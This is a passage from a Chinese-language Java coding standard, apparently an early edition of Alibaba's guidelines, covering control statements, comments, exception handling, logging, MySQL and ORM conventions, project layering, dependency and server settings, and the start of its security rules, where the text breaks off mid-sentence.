LongAdder 对象,比 AtomicLong 性能更好(减少乐观锁的重试次数)。14.【参考】注意 HashMap 的扩容死链,导致 CPU 飙升的问题。15.【参考】ThreadLocal 无法解决共享对象的更新问题,ThreadLocal 对象建议使用 static 修饰。这个变量是针对一个线程内所有操作共有的,所以设置为静态变量,所有此类实例共享此静态变量 ,也就是说在类第一次被使用时装载,只分配一块存储空间,所有此类的对象(只要是这个线程内定义的)都可以操控这个变量。(七) 控制语句1. 【强制】在一个 switch 块内,每个 case 要么通过 break/return 来终止,要么注释说明程序将继续执行到哪一个 case 为止;在一个 switch 块内,都必须包含一个 default 语句并且放在最后,即使它什么代码也没有。2. 【强制】在 if/else/for/while/do 语句中必须使用大括号,即使只有一行代码,避免使用下面的形式: if (condition) statements;3. 【推荐】推荐尽量少用 else, if-else 的方式可以改写成:if(condition){…return obj;}// 接着写 else 的业务逻辑代码;说明: 如果使用要 if-else if-else 方式表达逻辑,【强制】请勿超过 3 层,超过请使用状态设计模式。4. 【推荐】除常用方法(如 getXxx/isXxx)等外,不要在条件判断中执行复杂的语句,以提高可读性。正例://伪代码如下InputStream stream = file.open(fileName, "w");if (stream != null) {…}反例:if (file.open(fileName, "w") != null)) {…}5. 【推荐】循环体中的语句要考量性能,以下操作尽量移至循环体外处理,如定义对象、变量、获取数据库连接,进行不必要的 try-catch 操作(这个 try-catch 是否可以移至循环体外)。6. 【推荐】接口入参保护,这种场景常见的是用于做批量操作的接口。7. 【参考】方法中需要进行参数校验的场景:1) 调用频次低的方法。2) 执行时间开销很大的方法,参数校验时间几乎可以忽略不计,但如果因为参数错误导致中间执行回退,或者错误,那得不偿失。3) 需要极高稳定性和可用性的方法。4) 对外提供的开放接口,不管是 RPC/API/HTTP 接口。8. 【参考】方法中不需要参数校验的场景:1) 极有可能被循环调用的方法,不建议对参数进行校验。但在方法说明里必须注明外部参数检查。2) 底层的方法调用频度都比较高,一般不校验。毕竟是像纯净水过滤的最后一道,参数错误不太可能到底层才会暴露问题。一般 DAO 层与 Service 层都在同一个应用中,部署在同一台服务器中,所以 DAO 的参数校验,可以省略。3) 被声明成 private 只会被自己代码所调用的方法,如果能够确定调用方法的代码传入参数已经做过检查或者肯定不会有问题,此时可以不校验参数。(八) 注释规约1. 【强制】类、类属性、类方法的注释必须使用 javadoc 规范,使用/**内容*/格式,不得使用//xxx 方式。说明: 在 IDE 编辑窗口中, javadoc 方式会提示相关注释,生成 javadoc 可以正确输出相应注释;在 IDE 中,工程调用方法时,不进入方法即可悬浮提示方法、参数、返回值的意义,提高阅读效率。2. 【强制】所有的抽象方法(包括接口中的方法)必须要用 javadoc 注释、除了返回值、参数、异常说明外,还必须指出该方法做什么事情,实现什么功能。说明: 如有实现和调用注意事项,请一并说明。3. 【强制】所有的类都必须添加创建者信息。4. 【强制】方法内部单行注释,在被注释语句上方另起一行,使用//注释。方法内部多行注释使用/* */注释,注意与代码对齐。5. 【强制】所有的枚举类型字段必须要有注释,说明每个数据项的用途。6. 【推荐】与其“ 半吊子” 英文来注释,不如用中文注释把问题说清楚。专有名词、关键字,保持英文原文即可。反例: “TCP 连接超时” 解释成“ 传输控制协议连接超时” ,理解反而费脑筋。7. 【推荐】代码修改的同时,注释也要进行相应的修改,尤其是参数、返回值、异常、核心逻辑等的修改。说明: 代码与注释更新不同步,就像路网与导航软件更新不同步一样,如果导航软件严重滞后,就失去了导航的意义。8. 【参考】注释掉的代码尽量要配合说明,而不是简单的注释掉。说明: 代码被注释掉有两种可能性: 1)后续会恢复此段代码逻辑。 2)永久不用。前者如果没有备注信息,难以知晓注释动机。后者建议直接删掉(代码仓库保存了历史代码)。9. 【参考】对于注释的要求:第一、能够准确反应设计思想和代码逻辑;第二、能够描述业务含义,使别的程序员能够迅速了解到代码背后的信息。完全没有注释的大段代码对于阅读者形同天书,注释是给自己看的,即使隔很长时间,也能清晰理解当时的思路;注释也是给继任者看的,使其能够快速接替自己的工作。10.【参考】好的命名、代码结构是自解释的,注释力求精简准确、表达到位。避免出现注释的一个极端:过多过滥的注释,代码的逻辑一旦修改,修改注释是相当大的负担。反例:// put elephant into fridgeput(elephant, fridge);方法名 put,加上两个有意义的变量名 elephant 和 fridge,已经说明了这是在干什么,语义清晰的代码不需要额外的注释。11.【参考】特殊注释标记,请注明标记人与标记时间。注意及时处理这些标记,通过标记扫描,经常清理此类标记。线上故障有时候就是来源于这些标记处的代码。1) 待办事宜( TODO) :(标记人,标记时间, [预计处理时间])表示需要实现,但目前还未实现的功能。这实际上是一个 javadoc 的标签,目前的javadoc 还没有实现,但已经被广泛使用。 只能应用于类,接口和方法(因为它是一个 javadoc标签)。2) 错误,不能工作( FIXME) :(标记人,标记时间, [预计处理时间])在注释中用 FIXME 标记某代码是错误的,而且不能工作,需要及时纠正的情况。(九) 其它1. 【强制】在使用正则表达式时,利用好其预编译功能,可以有效加快正则匹配速度。说明: 不要在方法体内定义: Pattern pattern = Pattern.compile(规则);2. 【强制】避免用 Apache Beanutils 进行属性的 copy。说明: Apache BeanUtils 性能较差,可以使用其他方案比如 Spring BeanUtils, CglibBeanCopier。3. 【强制】 velocity 调用 POJO 类的属性时,建议直接使用属性名取值即可,模板引擎会自动按规范调用 POJO 的 getXxx(),如果是 boolean 基本数据类型变量(注意, boolean 命名不需要加 is 前缀),会自动调用 isXxx()方法。说明: 注意如果是 Boolean 包装类对象,优先调用 getXxx()的方法。4. 【强制】后台输送给页面的变量必须加$!{var}——中间的感叹号。说明: 如果 var=null 或者不存在,那么${var}会直接显示在页面上。5. 【强制】注意 Math.random() 这个方法返回是 double 类型,注意取值范围 0≤x<1(能够取到零值,注意除零异常),如果想获取整数类型的随机数,不要将 x 放大 10 的若干倍然后取整,直接使用 Random 对象的 nextInt 或者 nextLong 方法。6. 【强制】获取当前毫秒数: System.currentTimeMillis(); 而不是 new Date().getTime();说明: 如果想获取更加精确的纳秒级时间值,用 System.nanoTime。在 JDK8 中,针对统计时间等场景,推荐使用 Instant 类。7. 【推荐】尽量不要在 vm 中加入变量声明、逻辑运算符,更不要在 vm 模板中加入任何复杂的逻辑。8. 【推荐】任何数据结构的使用都应限制大小。说明: 这点很难完全做到,但很多次的故障都是因为数据结构自增长,结果造成内存被吃光。9. 【推荐】对于“ 明确停止使用的代码和配置” ,如方法、变量、类、配置文件、动态配置属性等要坚决从程序中清理出去,避免造成过多垃圾。清理这类垃圾代码是技术气场,不要有这样的观念: “ 不做不错,多做多错” 。二、异常日志(一) 异常处理1. 【强制】不要捕获 Java 类库中定义的继承自 RuntimeException 的运行时异常类,如:IndexOutOfBoundsException / NullPointerException,这类异常由程序员预检查来规避,保证程序健壮性。正例: if(obj != null) {...}反例: try { obj.method() } catch(NullPointerException e){…}2. 【强制】异常不要用来做流程控制,条件控制,因为异常的处理效率比条件分支低。3. 【强制】对大段代码进行 try-catch,这是不负责任的表现。 catch 时请分清稳定代码和非稳定代码,稳定代码指的是无论如何不会出错的代码。对于非稳定代码的 catch 尽可能进行区分异常类型,再做对应的异常处理。4. 【强制】捕获异常是为了处理它,不要捕获了却什么都不处理而抛弃之,如果不想处理它,请将该异常抛给它的调用者。最外层的业务使用者,必须处理异常,将其转化为用户可以理解的内容。5. 【强制】有 try 块放到了事务代码中, catch 异常后,如果需要回滚事务,一定要注意手动回滚事务。6. 【强制】 finally 块必须对资源对象、流对象进行关闭,有异常也要做 try-catch。说明: 如果 JDK7,可以使用 try-with-resources 方法。7. 【强制】不能在 finally 块中使用 return, finally 块中的 return 返回后方法结束执行,不会再执行 try 块中的 return 语句。8. 【强制】捕获异常与抛异常,必须是完全匹配,或者捕获异常是抛异常的父类。说明: 如果预期抛的是绣球,实际接到的是铅球,就会产生意外情况。9. 【推荐】方法的返回值可以为 null,不强制返回空集合,或者空对象等,必须添加注释充分说明什么情况下会返回 null 值。调用方需要进行 null 判断防止 NPE 问题。说明: 本规约明确防止 NPE 是调用者的责任。即使被调用方法返回空集合或者空对象,对调用者来说,也并非高枕无忧,必须考虑到远程调用失败,运行时异常等场景返回 null 的情况。10.【推荐】防止 NPE,是程序员的基本修养,注意 NPE 产生的场景:1) 返回类型为包装数据类型,有可能是 null,返回 int 值时注意判空。反例: public int f(){ return Integer 对象},如果为 null,自动解箱抛 NPE。2) 数据库的查询结果可能为 null。3) 集合里的元素即使 isNotEmpty,取出的数据元素也可能为 null。4) 远程调用返回对象,一律要求进行 NPE 判断。5) 对于 Session 中获取的数据,建议 NPE 检查,避免空指针。6) 级联调用 obj.getA().getB().getC();一连串调用,易产生 NPE。11.【推荐】在代码中使用“ 抛异常” 还是“ 返回错误码” ,对于公司外的 http/api 开放接口必须使用“ 错误码” ;而应用内部推荐异常抛出;跨应用间 RPC 调用优先考虑使用 Result 方式,封装 isSuccess、 “ 错误码” 、 “ 错误简短信息” 。说明: 关于 RPC 方法返回方式使用 Result 方式的理由:1)使用抛异常返回方式,调用方如果没有捕获到就会产生运行时错误。2)如果不加栈信息,只是 new 自定义异常,加入自己的理解的 error message,对于调用端解决问题的帮助不会太多。如果加了栈信息,在频繁调用出错的情况下,数据序列化和传输的性能损耗也是问题。12.【推荐】定义时区分 unchecked / checked 异常,避免直接使用 RuntimeException 抛出,更不允许抛出 Exception 或者 Throwable,应使用有业务含义的自定义异常。推荐业界已定义过的自定义异常,如: DaoException / ServiceException 等。13.【参考】避免出现重复的代码( Don’t Repeat Yourself),即 DRY 原则。说明: 随意复制和粘贴代码,必然会导致代码的重复,在以后需要修改时,需要修改所有的副本,容易遗漏。必要时抽取共性方法,或者抽象公共类,甚至是共用模块。正例: 一个类中有多个 public 方法,都需要进行数行相同的参数校验操作,这个时候请抽取:private boolean checkParam(DTO dto){...}(二) 日志规约1. 【强制】应用中不可直接使用日志系统( Log4j、 Logback)中的 API,而应依赖使用日志框架SLF4J 中的 API,使用门面模式的日志框架,有利于维护和各个类的日志处理方式统一。import org.slf4j.Logger;import org.slf4j.LoggerFactory;private static final Logger logger = LoggerFactory.getLogger(Abc.class);2. 【强制】日志文件推荐至少保存 15 天,因为有些异常具备以“ 周” 为频次发生的特点。3. 【强制】应用中的扩展日志(如打点、临时监控、访问日志等)命名方式:appName_logType_logName.log。 logType:日志类型,推荐分类有 stats/desc/monitor/visit等; logName:日志描述。这种命名的好处:通过文件名就可知道日志文件属于什么应用,什么类型,什么目的,也有利于归类查找。正例: mppserver 应用中单独监控时区转换异常,如:mppserver_monitor_timeZoneConvert.log说明: 推荐对日志进行分类,错误日志和业务日志尽量分开存放,便于开发人员查看,也便于通过日志对系统进行及时监控。4. 【强制】对 trace/debug/info 级别的日志输出,必须使用条件输出形式或者使用占位符的方式。说明: logger.debug("Processing trade with id: " + id + " symbol: " + symbol); 如果日志级别是 warn,上述日志不会打印,但是会执行字符串拼接操作,如果 symbol 是对象,会执行 toString()方法,浪费了系统资源,执行了上述操作,最终日志却没有打印。正例: (条件)if (logger.isDebugEnabled()) {logger.debug("Processing trade with id: " + id + " symbol: " + symbol);}正例: (占位符)logger.debug("Processing trade with id: {} and symbol : {} ", id, symbol);5. 【强制】避免重复打印日志,浪费磁盘空间,务必在 log4j.xml 中设置 additivity=false。正例: <logger name="com.taobao.ecrm.member.config" additivity="false">6. 【强制】异常信息应该包括两类信息:案发现场信息和异常堆栈信息。如果不处理,那么往上抛。正例: logger.error(各类参数或者对象 toString + "_" + e.getMessage(), e);7. 输出的 POJO 类必须重写 toString 方法,否则只输出此对象的 hashCode 值(地址值),没啥参考意义。8. 【推荐】可以使用 warn 日志级别来记录用户输入参数错误的情况,避免用户投诉时,无所适从。注意日志输出的级别, error 级别只记录系统逻辑出错、异常、或者重要的错误信息。如非必要,请不要在此场景打出 error 级别,避免频繁报警。9. 【推荐】谨慎地记录日志。生产环境禁止输出 debug 日志;有选择地输出 info 日志;如果使用 warn 来记录刚上线时的业务行为信息,一定要注意日志输出量的问题,避免把服务器磁盘撑爆,并记得及时删除这些观察日志。说明: 大量地输出无效日志,不利于系统性能提升,也不利于快速定位错误点。纪录日志时请思考:这些日志真的有人看吗?看到这条日志你能做什么?能不能给问题排查带来好处?10.【参考】如果日志用英文描述不清楚,推荐使用中文注释。对于中文 UTF-8 的日志,在 secureCRT中, set encoding=utf-8;如果中文字符还乱码,请设置:全局>默认的会话设置>外观>字体>选择字符集 gb2312;如果还不行,执行命令: set termencoding=gbk,并且直接使用中文来进行检索。三、 MYSQL 规约(一) 建表规约1. 【强制】表达是与否概念的字段,必须使用 is_xxx 的方式命名,数据类型是 unsigned tinyint(1 表示是, 0 表示否),此规则同样适用于 odps 建表。说明: 任何字段如果为非负数,必须是 unsigned。2. 【强制】表名、字段名必须使用小写字母或数字;禁止出现数字开头,禁止两个下划线中间只出现数字。数据库字段名的修改代价很大,因为无法进行预发布,所以字段名称需要慎重考虑。正例: getter_admin, task_config, level3_name反例: GetterAdmin, taskConfig, level_3_name3. 【强制】表名不使用复数名词。说明: 表名应该仅仅表示表里面的实体内容,不应该表示实体数量,对应于 DO 类名也是单数形式,符合表达习惯。4. 【强制】禁用保留字,如 desc、 range、 match、 delayed 等, 参考官方保留字。5. 【强制】唯一索引名为 uk_字段名;普通索引名则为 idx_字段名。说明: uk_ 即 unique key; idx_ 即 index 的简称。6. 【强制】小数类型为 decimal,禁止使用 float 和 double。说明: float 和 double 在存储的时候,存在精度损失的问题,很可能在值的比较时,得到不正确的结果。如果存储的数据范围超过 decimal 的范围,建议将数据拆成整数和小数分开存储。7. 【强制】如果存储的字符串长度几乎相等,使用 CHAR 定长字符串类型。8. 【强制】 varchar 是可变长字符串,不预先分配存储空间,长度不要超过 5000,如果存储长度大于此值,定义字段类型为 TEXT,独立出来一张表,用主键来对应,避免影响其它字段索引效率。9. 【强制】表必备三字段: id, gmt_create, gmt_modified。说明: 其中 id 必为主键,类型为 unsigned bigint、单表时自增、步长为 1;分表时改为从TDDL Sequence 取值,确保分表之间的全局唯一。 gmt_create, gmt_modified 的类型均为date_time 类型。10.【推荐】表的命名最好是加上“ 业务名称_表的作用” ,避免上云梯后,再与其它业务表关联时有混淆。正例: tiger_task / tiger_reader / mpp_config11.【推荐】库名与应用名称尽量一致。12.【推荐】如果修改字段含义或对字段表示的状态追加时,需要及时更新字段注释。13.【推荐】字段允许适当冗余,以提高性能,但是必须考虑数据同步的情况。冗余字段应遵循:1)不是频繁修改的字段。2)不是 varchar 超长字段,更不能是 text 字段。正例: 各业务线经常冗余存储商品名称,避免查询时需要调用 IC 服务获取。14.【推荐】单表行数超过 500 万行或者单表容量超过 2GB,才推荐进行分库分表。说明: 如果预计三年后的数据量根本达不到这个级别,请不要在创建表时就分库分表。反例: 某业务三年总数据量才 2 万行,却分成 1024 张表,问:你为什么这么设计?答:分 1024张表,不是标配吗?15.【参考】合适的字符存储长度,不但节约数据库表空间、节约索引存储,更重要的是提升检索速度。正例: 人的年龄用 unsigned tinyint(表示范围 0-255,人的寿命不会超过 255 岁);海龟就必须是 smallint,但如果是太阳的年龄,就必须是 int;如果是所有恒星的年龄都加起来,那么就必须使用 bigint。(二) 索引规约1. 【强制】业务上具有唯一特性的字段,即使是组合字段,也必须建成唯一索引。说明: 不要以为唯一索引影响了 insert 速度,这个速度损耗可以忽略,但提高查找速度是明显的;另外,即使在应用层做了非常完善的校验和控制,只要没有唯一索引,根据墨菲定律,必然有脏数据产生。2. 【强制】超过三个表禁止 join。需要 join 的字段,数据类型保持绝对一致;多表关联查询时,保证被关联的字段需要有索引。说明: 即使双表 join 也要注意表索引、 SQL 性能。3. 【强制】在 varchar 字段上建立索引时,必须指定索引长度,没必要对全字段建立索引,根据实际文本区分度决定索引长度。说明: 索引的长度与区分度是一对矛盾体,一般对字符串类型数据,长度为 20 的索引,区分度会高达 90%以上,可以使用 count(distinct left(列名, 索引长度))/count(*)的区分度来确定。4. 【强制】页面搜索严禁左模糊或者全模糊,如果需要请走搜索引擎来解决。说明: 索引文件具有 B-Tree 的最左前缀匹配特性,如果左边的值未确定,那么无法使用此索引。5. 【推荐】如果有 order by 的场景,请注意利用索引的有序性。 order by 最后的字段是组合索引的一部分,并且放在索引组合顺序的最后,避免出现 file_sort 的情况,影响查询性能。正例: where a=? and b=? order by c; 索引: a_b_c反例: 索引中有范围查找,那么索引有序性无法利用,如: WHERE a>10 ORDER BY b; 索引 a_b无法排序。6. 【推荐】利用覆盖索引来进行查询操作,来避免回表操作。说明: 如果一本书需要知道第 11 章是什么标题,会翻开第 11 章对应的那一页吗?目录浏览一下就好,这个目录就是起到覆盖索引的作用。正例: IDB 能够建立索引的种类:主键索引、唯一索引、普通索引,而覆盖索引是一种查询的一种效果,用 explain 的结果, extra 列会出现: using index.7. 【推荐】利用延迟关联或者子查询优化超多分页场景。说明: MySQL 并不是跳过 offset 行,而是取 offset+N 行,然后返回放弃前 offset 行,返回 N行,那当 offset 特别大的时候,效率就非常的低下,要么控制返回的总页数,要么对超过特定阈值的页数进行 SQL 改写。正例: 先快速定位需要获取的 id 段,然后再关联:SELECT a.* FROM 表 1 a, (select id from 表 1 where 条件 LIMIT 100000,20 ) b where a.id=b.id8. 【推荐】 SQL 性能优化的目标:至少要达到 range 级别, 要求是 ref 级别, 如果可以是 consts最好。说明:1)consts 单表中最多只有一个匹配行(主键或者唯一索引),在优化阶段即可读取到数据。2) ref 指的是使用普通的索引。( normal index)3) range 对索引进范围检索。反例: explain 表的结果, type=index,索引物理文件全扫描,速度非常慢,这个 index 级别比较 range 还低,与全表扫描是小巫见大巫。9. 【推荐】建组合索引的时候,区分度最高的在最左边。正例: 如果 where a=? and b=? , a 列的几乎接近于唯一值,那么只需要单建 idx_a 索引即可。说明: 存在非等号和等号混合判断条件时,在建索引时,请把等号条件的列前置。如: where a>?and b=? 那么即使 a 的区分度更高,也必须把 b 放在索引的最前列。10.【参考】创建索引时避免有如下极端误解:1)误认为一个查询就需要建一个索引。2)误认为索引会消耗空间、严重拖慢更新和新增速度。3)误认为唯一索引一律需要在应用层通过“ 先查后插” 方式解决。(三) SQL 规约1. 【强制】不要使用 count(列名)或 count(常量)来替代 count(*), count(*)就是 SQL92 定义的标准统计行数的语法,跟数据库无关,跟 NULL 和非 NULL 无关。说明: count(*)会统计值为 NULL 的行,而 count(列名)不会统计此列为 NULL 值的行。2. 【强制】 count(distinct col) 计算该列除 NULL 之外的不重复数量。注意 count(distinctcol1, col2) 如果其中一列全为 NULL,那么即使另一列有不同的值,也返回为 0。3. 【强制】当某一列的值全是 NULL 时, count(col)的返回结果为 0,但 sum(col)的返回结果为NULL,因此使用 sum()时需注意 NPE 问题。正例: 可以使用如下方式来避免 sum 的 NPE 问题: SELECT IF(ISNULL(SUM(g)),0,SUM(g)) FROMtable;4. 【强制】使用 ISNULL()来判断是否为 NULL 值。注意: NULL 与任何值的直接比较都为 NULL。说明:1) NULL<>NULL 的返回结果是 NULL,不是 false。2) NULL=NULL 的返回结果是 NULL,不是 true。3) NULL<>1 的返回结果是 NULL,而不是 true。5. 【强制】在代码中写分页查询逻辑时,若 count 为 0 应直接返回,避免执行后面的分页语句。6. 【强制】不得使用外键与级联,一切外键概念必须在应用层解决。说明: (概念解释)学生表中的 student_id 是主键,那么成绩表中的 student_id 则为外键。如果更新学生表中的 student_id,同时触发成绩表中的 student_id 更新,则为级联更新。外键与级联更新适用于单机低并发,不适合分布式、高并发集群;级联更新是强阻塞,存在数据库更新风暴的风险;外键影响数据库的插入速度。7. 【强制】禁止使用存储过程,存储过程难以调试和扩展,更没有移植性。8. 【强制】 IDB 数据订正时,删除和修改记录时,要先 select,避免出现误删除,确认无误才能提交执行。9. 【推荐】 in 操作能避免则避免,若实在避免不了,需要仔细评估 in 后边的集合元素数量,控制在 1000 个之内。10.【参考】因阿里巴巴全球化需要,所有的字符存储与表示,均以 utf-8 编码,那么字符计数方法注意:说明:SELECT LENGTH("阿里巴巴"); 返回为 12SELECT CHARACTER_LENGTH("阿里巴巴"); 返回为 4如果要使用表情,那么使用 utfmb4 来进行存储,注意它与 utf-8 编码。11.【参考】 TRUNCATE TABLE 比 DELETE 速度快,且使用的系统和事务日志资源少,但 TRUNCATE无事务且不触发 trigger,有可能造成事故,故不建议在开发代码中使用此语句。说明: TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同。(四) ORM 规约1. 【强制】在表查询中,一律不要使用 * 作为查询的字段列表,需要哪些字段必须明确写明。说明: 1)增加查询分析器解析成本。 2)增减字段容易与 resultMap 配置不一致。2. 【强制】 POJO 类的 boolean 属性不能加 is,而数据库字段必须加 is_,要求在 resultMap 中进行字段与属性之间的映射。说明: 参见定义 POJO 类以及数据库字段定义规定,在 sql.xml 增加映射,是必须的。3. 【强制】不要用 resultClass 当返回参数,即使所有类属性名与数据库字段一一对应,也需要定义;反过来,每一个表也必然有一个与之对应。说明: 配置映射关系,使字段与 DO 类解耦,方便维护。4. 【强制】 xml 配置中参数注意使用: #{}, #param# 不要使用${} 此种方式容易出现 SQL 注入。5. 【强制】 iBATIS 自带的 queryForList(String statementName,int start,int size)不推荐使用。说明:其实现方式是在数据库取到 statementName 对应的 SQL 语句的所有记录,再通过 subList取 start,size 的子集合,线上因为这个原因曾经出现过 OOM。正例: 在 sqlmap.xml 中引入 #start#, #size#Map<String, Object> map = new HashMap<String, Object>();map.put("start", start);map.put("size", size);6. 【强制】不允许直接拿 HashMap 与 HashTable 作为查询结果集的输出。反例: 某同学为避免写一个<resultMap>,直接使用 HashTable 来接收数据库返回结果,结果出现日常是把 bigint 转成 Long 值,而线上由于数据库版本不一样,解析成 BigInteger,导致线上问题。7. 【强制】更新数据表记录时,必须同时更新记录对应的 gmt_modified 字段值为当前时间。8. 【推荐】不要写一个大而全的数据更新接口,传入为 POJO 类,不管是不是自己的目标更新字段,都进行 update table set c1=value1,c2=value2,c3=value3; 这是不对的。执行 SQL 时,尽量不要更新无改动的字段,一是易出错;二是效率低;三是 binlog 增加存储。9. 【参考】 @Transactional 事务不要滥用。事务会影响数据库的 QPS,另外使用事务的地方需要考虑各方面的回滚方案,包括缓存回滚、搜索引擎回滚、消息补偿、统计修正等。10.【参考】 <isEqual>中的 compareValue 是与属性值对比的常量,一般是数字,表示相等时带上此条件; <isNotEmpty>表示不为空且不为 null 时执行; <isNotNull>表示不为 null 值时执行。四、工程规约(一) 应用分层1. 【推荐】图中默认上层依赖于下层,箭头关系表示可直接依赖,如:开放接口层可以依赖于Web 层,也可以直接依赖于 Service 层,依此类推: 开放接口层:可直接封装 Service 接口暴露成 RPC 接口;通过 Web 封装成 http 接口;网关控制层等。 终端显示层:各个端的模板渲染并执行显示层。 当前主要是 velocity 渲染, JS 渲染, JSP 渲染,移动端展示层等。 Web 层:主要是对访问控制进行转发,各类基本参数校验,或者不复用的业务简单处理等。 Service 层:相对具体的业务逻辑服务层。 Manager 层:通用业务处理层,它有如下特征:1) 对第三方平台封装的层,预处理返回结果及转化异常信息;2) 对 Service 层通用能力的下沉,如缓存方案、 中间件通用处理;3) 与 DAO 层交互,对 DAO 的业务通用能力的封装。 DAO 层:数据访问层,与底层 Mysql、 Oracle、 Hbase、 OB 进行数据交互。 外部接口或第三方平台:包括其它部门 RPC 开放接口,基础平台,其它公司的 HTTP 接口。2. 【参考】(分层异常处理规约)在 DAO 层,产生的异常类型有很多,无法用细粒度异常进行catch,使用 catch(Exception e)方式,并 throw new DaoException(e),不需要打印日志,因为日志在 Manager/Service 层一定需要捕获并打到日志文件中去,如果同台服务器再打日志,浪费性能和存储。在 Service 层出现异常时,必须记录日志信息到磁盘,尽可能带上参数信息,相当于保护案发现场。如果 Manager 层与 Service 同机部署,日志方式与 DAO 层处理一致,如果是单独部署,则采用与 Service 一致的处理方式。 Web 层绝不应该继续往上抛异常,因为已经处于顶层,无继续处理异常的方式,如果意识到这个异常将导致页面无法正常渲染,那么就应该直接跳转到友好错误页面,尽量加上友好的错误提示信息。开放接口层要将异常处理成错误码和错误信息方式返回。3. 【参考】分层领域模型规约: DO( Data Object):与数据库表结构一一对应,通过 DAO 层向上传输数据源对象。 DTO( Data Transfer Object):数据传输对象, Service 和 Manager 向外传输的对象。 BO( Business Object):业务对象。 可以由 Service 层输出的封装业务逻辑的对象。 QUERY:数据查询对象,各层接收上层的查询请求。 注:超过 2 个参数的查询封装,禁止使用 Map 类来传输。 VO( View Object):显示层对象,通常是 Web 向模板渲染引擎层传输的对象。(二) 二方库规约1. 【强制】定义 GAV 遵从以下规则:1) GroupID 格式: com.{公司/BU }.业务线.[子业务线],最多 4 级。说明: {公司/BU} 例如: alibaba/taobao/tmall/aliexpress 等 BU 一级;子业务线可选。正例: com.taobao.tddl 或 com.alibaba.sourcing.multilang2) ArtifactID 格式:产品线名-模块名。语义不重复不遗漏,先到仓库中心去查证一下。正例: tc-client / uic-api / tair-tool3) Version:详细规定参考下方。2. 【强制】二方库版本号命名方式:主版本号.次版本号.修订号1) 主版本号:当做了不兼容的 API 修改,或者增加了能改变产品方向的新功能。2) 次版本号:当做了向下兼容的功能性新增(新增类、接口等)。3) 修订号:修复 bug,没有修改方法签名的功能加强,保持 API 兼容性。3. 【强制】线上应用不要依赖 SNAPSHOT 版本(安全包除外);正式发布的类库必须使用 RELEASE版本号升级+1 的方式,且版本号不允许覆盖升级,必须去中央仓库进行查证。说明: 不依赖 SNAPSHOT 版本是保证应用发布的幂等性。另外,也可以加快编译时的打包构建。4. 【强制】二方库的新增或升级,保持除功能点之外的其它 jar 包仲裁结果不变。如果有改变,必须明确评估和验证, 建议进行 dependency:resolve 前后信息比对,如果仲裁结果完全不一致,那么通过 dependency:tree 命令,找出差异点,进行<excludes>排除 jar 包。5. 【强制】二方库里可以定义枚举类型,参数可以使用枚举类型,但是接口返回值不允许使用枚举类型或者包含枚举类型的 POJO 对象。6. 【强制】依赖于一个二方库群时,必须定义一个统一版本变量,避免版本号不一致。说明: 依赖 springframework-core,-context,-beans,它们都是同一个版本,可以定义一个变量来保存版本: ${spring.version},定义依赖的时候,引用该版本。7. 【强制】禁止在子项目的 pom 依赖中出现相同的 GroupId,相同的 ArtifactId,但是不同的Version。说明: 在本地调试时会使用各子项目指定的版本号,但是合并成一个 war,只能有一个版本号出现在最后的 lib 目录中。曾经出现过线下调试是正确的,发布到线上出故障的先例。8. 【推荐】工具类二方库已经提供的,尽量不要在本应用中编程实现。 json 操作: fastjson md5 操作: commons-codec 工具集合: Guava 包 数组操作: ArrayUtils( org.apache.commons.lang3.ArrayUtils) 集合操作: CollectionUtils(org.apache.commons.collections4.CollectionUtils) 除上面以外还有 NumberUtils、 DateFormatUtils、 DateUtils 等优先使用org.apache.commons.lang3 这个包下的,不要使用 org.apache.commons.lang 包下面的。 原因是 commons.lang 这个包是从 JDK1.2 开始支持的所以很多 1.5/1.6 的特性是不支持的,例如:泛型。9. 【推荐】所有 pom 文件中的依赖声明放在<dependencies>语句块中,所有版本仲裁放在<dependencyManagement>语句块中。说明: <dependencyManagement>里只是声明版本,并不实现引入,因此子项目需要显式的声明依赖,version 和 scope 都读取自父 pom。而<dependencies>所有声明在主 pom 的<dependencies >里的依赖都会自动引入,并默认被所有的子项目继承。10.【推荐】二方库尽量不要有配置项,最低限度不要再增加配置项。11.【参考】为避免应用二方库的依赖冲突问题,二方库发布者应当遵循以下原则:1) 精简可控原则。移除一切不必要的 API 和依赖,只包含 Service API、必要的领域模型对象、 Utils 类、常量、枚举等。如果依赖其它二方库,尽量是 provided 引入,让二方库使用者去依赖具体版本号; 无 log 具体实现,只依赖日志框架。2) 稳定可追溯原则。每个版本的变化应该被记录,二方库由谁维护,源码在哪里,都需要能方便查到。除非用户主动升级版本, 否则公共二方库的行为不应该发生变化。(三) 服务器规约1. 【 推荐】 高并发服务器建议调小 TCP 协议的 time_wait 超时时间。说明: 操作系统默认 240 秒后,才会关闭处于 time_wait 状态的连接,在高并发访问下,服务器端会因为处于 time_wait 的连接数太多,可能无法建立新的连接,所以需要在服务器上调小此等待值。正例: 在 linux 服务器上请通过变更/etc/sysctl.conf 文件去修改该缺省值(秒):net.ipv4.tcp_fin_timeout = 302. 【 推荐】 调大服务器所支持的最大文件句柄数( File Descriptor,简写为 fd) 。说明: 主流操作系统的设计是将 TCP/UDP 连接采用与文件一样的方式去管理,即一个连接对应于一个 fd。 主流的 linux 服务器默认所支持最大 fd 数量为 1024,当并发连接数很大时很容易因为 fd 不足而出现“open too many files” 错误,导致新的连接无法建立。 建议将 linux服务器所支持的最大句柄数调高数倍(与服务器的内存数量相关) 。3. 【推荐】给 JVM 设置-XX:+HeapDumpOnOutOfMemoryError 参数,让 JVM 碰到 OOM 场景时输出 dump信息。说明: OOM 的发生是有概率的,甚至有规律地相隔数月才出现一例,出现时的现场信息对查错非常有价值。4. 【参考】服务器内部重定向必须使用 forward;外部重定向地址必须使用 URL Broker 生成,否则因线上采用 HTTPS 协议而导致浏览器提示“ 不安全” 。此外,还会带来 URL 维护不一致的问题。五、安全规约1. 【强制】可被用户直接访问的功能必须进行权限控制校验。说明: 防止没有做权限控制就可随意访问、操作别人的数据,比如查看、修改别人的订单。2. 【强制】用户敏感数据禁止直接展示,必须对展示数据脱敏。说明: 支付宝中查看个人手机号码会显示成:158****9119,隐藏中间 4 位,防止隐私泄露。3. 【强制】用户输入的 SQL 参数严格使用参数绑定或者 METADATA 字段值限定,防止 SQL 注入,禁止字符串拼接 SQL 访问数据库。4. 【强制】用户请求传入的任何参数必须做有效性验证。说明: 忽略参数校验可能导致: page size 过大导致内存溢出 恶意 order by 导致数据库慢查询 正则输入源串拒绝服务 ReDOS 任意重定向 SQL 注入 Shell 注入 反序列化注入5. 【强制】禁止向 HTML 页面输出未经安全过滤或未正确转义的用户数据。6. 【强制】表单、 AJAX 提交必须执行 CSRF 安全过滤。说明: CSRF(Cross-site request 